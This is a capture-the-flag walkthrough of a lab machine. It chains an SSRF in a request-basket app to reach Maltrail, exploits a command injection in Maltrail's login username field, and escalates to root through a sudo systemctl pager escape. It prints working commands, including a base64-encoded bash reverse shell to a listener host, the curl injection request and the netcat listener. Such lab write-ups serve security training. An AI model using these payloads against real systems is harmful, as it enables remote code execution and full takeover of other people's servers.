Enumeration

As usual, we start off with an nmap scan:

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
|   256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
|_  256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
55555/tcp open  unknown
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Sun, 08 Sep 2024 01:01:14 GMT
|     Content-Length: 75
|     invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
|   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 302 Found
|     Content-Type: text/html; charset=utf-8
|     Location: /web
|     Date: Sun, 08 Sep 2024 01:00:44 GMT
|     Content-Length: 27
|     href="/web">Found</a>.
|   HTTPOptions:
|     HTTP/1.0 200 OK
|     Allow: GET, OPTIONS
|     Date: Sun, 08 Sep 2024 01:00:45 GMT
|_    Content-Length: 0

We get a strange result, port 22 for remote administration via SSH and 55555 for some kind of HTTP server based on the response.

Viewing this port in the browser reveals there is a web application running there. It redirects to the /web route. It looks like an unauthenticated application that allows for people to create baskets for capturing and relaying HTTP requests. The app looks quite complex, we need to start burpsuite early and look at all the requests and responses while interacting with the site.

Exploiting the web application

We are prompted initially to create a basket. We can click the button and we are granted a random code and a URL we can hit to log requests. For example, http://10.129.12.251:55555/9re79pd

Running a curl at this endpoint produces the following:

curl -i -v http://10.129.12.251:55555/9re79pd

*   Trying 10.129.12.251:55555...
* Connected to 10.129.12.251 (10.129.12.251) port 55555
> GET /9re79pd HTTP/1.1
> Host: 10.129.12.251:55555
> User-Agent: curl/8.8.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
HTTP/1.1 200 OK
< Date: Mon, 09 Sep 2024 22:45:20 GMT
Date: Mon, 09 Sep 2024 22:45:20 GMT
< Content-Length: 0
Content-Length: 0
<

* Connection #0 to host 10.129.12.251 left intact

It gives a 200 OK but no data returned and no interesting headers. Looking at the web application, we can see it is logging the requests and the headers of our calls.

Clicking on the cog icon in the top right gives us the ability to choose a Forward URL which might be an Server Side Request Forgery (SSRF) attack. An SSRF is in essence, getting the server to make a request on our behalf, potentially bypassing authentication based on request source, or bypassing firewall rules.

Firstly, we check the functionality even works. We can stand up a web server locally using python3:

python3 -m http.server 9091

And we set up the Forward URL to be our host: http://10.10.14.82:9091 and then we send another curl request to the endpoint we were given in our basket and we see our server hit:

python3 -m http.server 9091
Serving HTTP on 0.0.0.0 port 9091 (http://0.0.0.0:9091/) ...
10.129.12.251 - - [10/Sep/2024 08:49:50] "GET / HTTP/1.1" 200 -

The forwarding works. Now we can try and see what else exists on this host. I tried the default web port 80 and using Forward URL http://127.0.0.1:80 as well as ticking the box to Forward Response and Expan Forward Path first on the target machine and tried another curl. This provides a HTML response body from the request so there is an SSRF vulnerability and we know something is running on port 80 on the host that we can’t get to from external.

The title in the returned HTTP HTML response is Maltrail, which upon Googling leads to this GitHub https://github.com/stamparm/maltrail

Exploiting Maltrail

Looking at this exploit, https://github.com/spookier/Maltrail-v0.53-Exploit/blob/main/exploit.py there is a command injection vulnerability due to a lack of sanitization on the username field. You can pass in a ; followed by the command you want to run to the username parameter and get remote code execution. Based on this script, it seems like you need to do some base64 encoding to get past bad characters in the HTTP request.

This should be easy enough to replicate in curl without the need for this python3 script. First, we generate the payload required for the reverse shell:

echo "bash -c 'exec bash -i  &>/dev/tcp/10.10.14.82/4444 <&1 '" | base64 -w 0

Note the use of spaces in the payload in strategic places to remove + and = characters which might interfere in a web request.

curl http://10.129.229.26:55555/tfvujy4/login --data 'username=;`echo+\"YmFzaCAtYyAnZXhlYyBiYXNoIC1pICAmPi9kZXYvdGNwLzEwLjEwLjE0LjgyLzQ0NDQgPCYxICcK\"+|+base64+-d+|+sh`'

Also note that for this to work with the proxy, it needs to have the Expand Forward Path set at least.

We can capture the resultant shell using rlwrap and nc:

rlwrap nc -lnvp 4444

We arrive on the machine as the puma user:

listening on [any] 4444 ...
connect to [10.10.14.82] from (UNKNOWN) [10.129.229.26] 54368
bash: cannot set terminal process group (875): Inappropriate ioctl for device
bash: no job control in this shell
puma@sau:/opt/maltrail$ whoami
whoami
puma
puma@sau:/opt/maltrail$ hostname
hostname
sau

Privilege Escalation from puma

Running sudo -l as puma reveals:

Matching Defaults entries for puma on sau:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User puma may run the following commands on sau:
    (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service

The puma user can run systemctl status for a particular service. We can simply look up on GTFOBins whether sudo privileges for this service allows escalation. Section C of https://gtfobins.github.io/gtfobins/systemctl/#sudo suggests that the default pager for this command will be less which when run as sudo can be escaped to a shell using !sh. Because we’re in a bit of a weird shell anyway, running the command will trigger the pager, but look a bit hung, and we can run !sh and get a shell:

puma@sau:/opt/maltrail$ sudo /usr/bin/systemctl status trail.service
sudo /usr/bin/systemctl status trail.service
WARNING: terminal is not fully functional
-  (press RETURN)!sh
!sshh!sh
# id
id
uid=0(root) gid=0(root) groups=0(root)

It was an unexpected success that a byproduct of the bash reverse shell lets this work first go. I thought I’d have to go the long way around, get a full shell and shrink the size to trigger less. We can now collect the flags and complete the machine.